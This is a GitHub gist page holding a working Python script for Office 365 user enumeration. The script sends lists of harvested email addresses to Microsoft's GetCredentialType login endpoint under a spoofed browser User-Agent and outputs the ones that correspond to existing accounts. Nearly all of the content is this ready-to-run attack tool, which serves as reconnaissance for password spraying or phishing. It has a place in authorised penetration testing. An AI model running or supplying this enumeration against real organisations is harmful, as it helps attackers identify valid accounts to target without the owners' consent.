Skip to content

Instantly share code, notes, and snippets.

@dadevel
Created February 22, 2023 11:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dadevel/6f2b83cb55d7af2e219d64443842c6be to your computer and use it in GitHub Desktop.
Save dadevel/6f2b83cb55d7af2e219d64443842c6be to your computer and use it in GitHub Desktop.
O365 User Enumeration
#!/usr/bin/python3
import requests
import sys
# usage: cat ./gathered-emails.txt | ./o365-user-enum.py | tee -a ./valid-emails.txt
url = 'https://login.microsoftonline.com/common/GetCredentialType'
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5359.178 Safari/537.36 Edg/106.0.1266.51'
with requests.session() as session:
for line in sys.stdin:
line = line.strip()
response = session.post(url, json=dict(Username=line), headers={'User-Agent': user_agent})
if response.status_code != 200:
print(f'error: {response.text.strip()}', file=sys.stderr)
if response.json().get('IfExistsResult') == 0:
print(line, flush=True)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment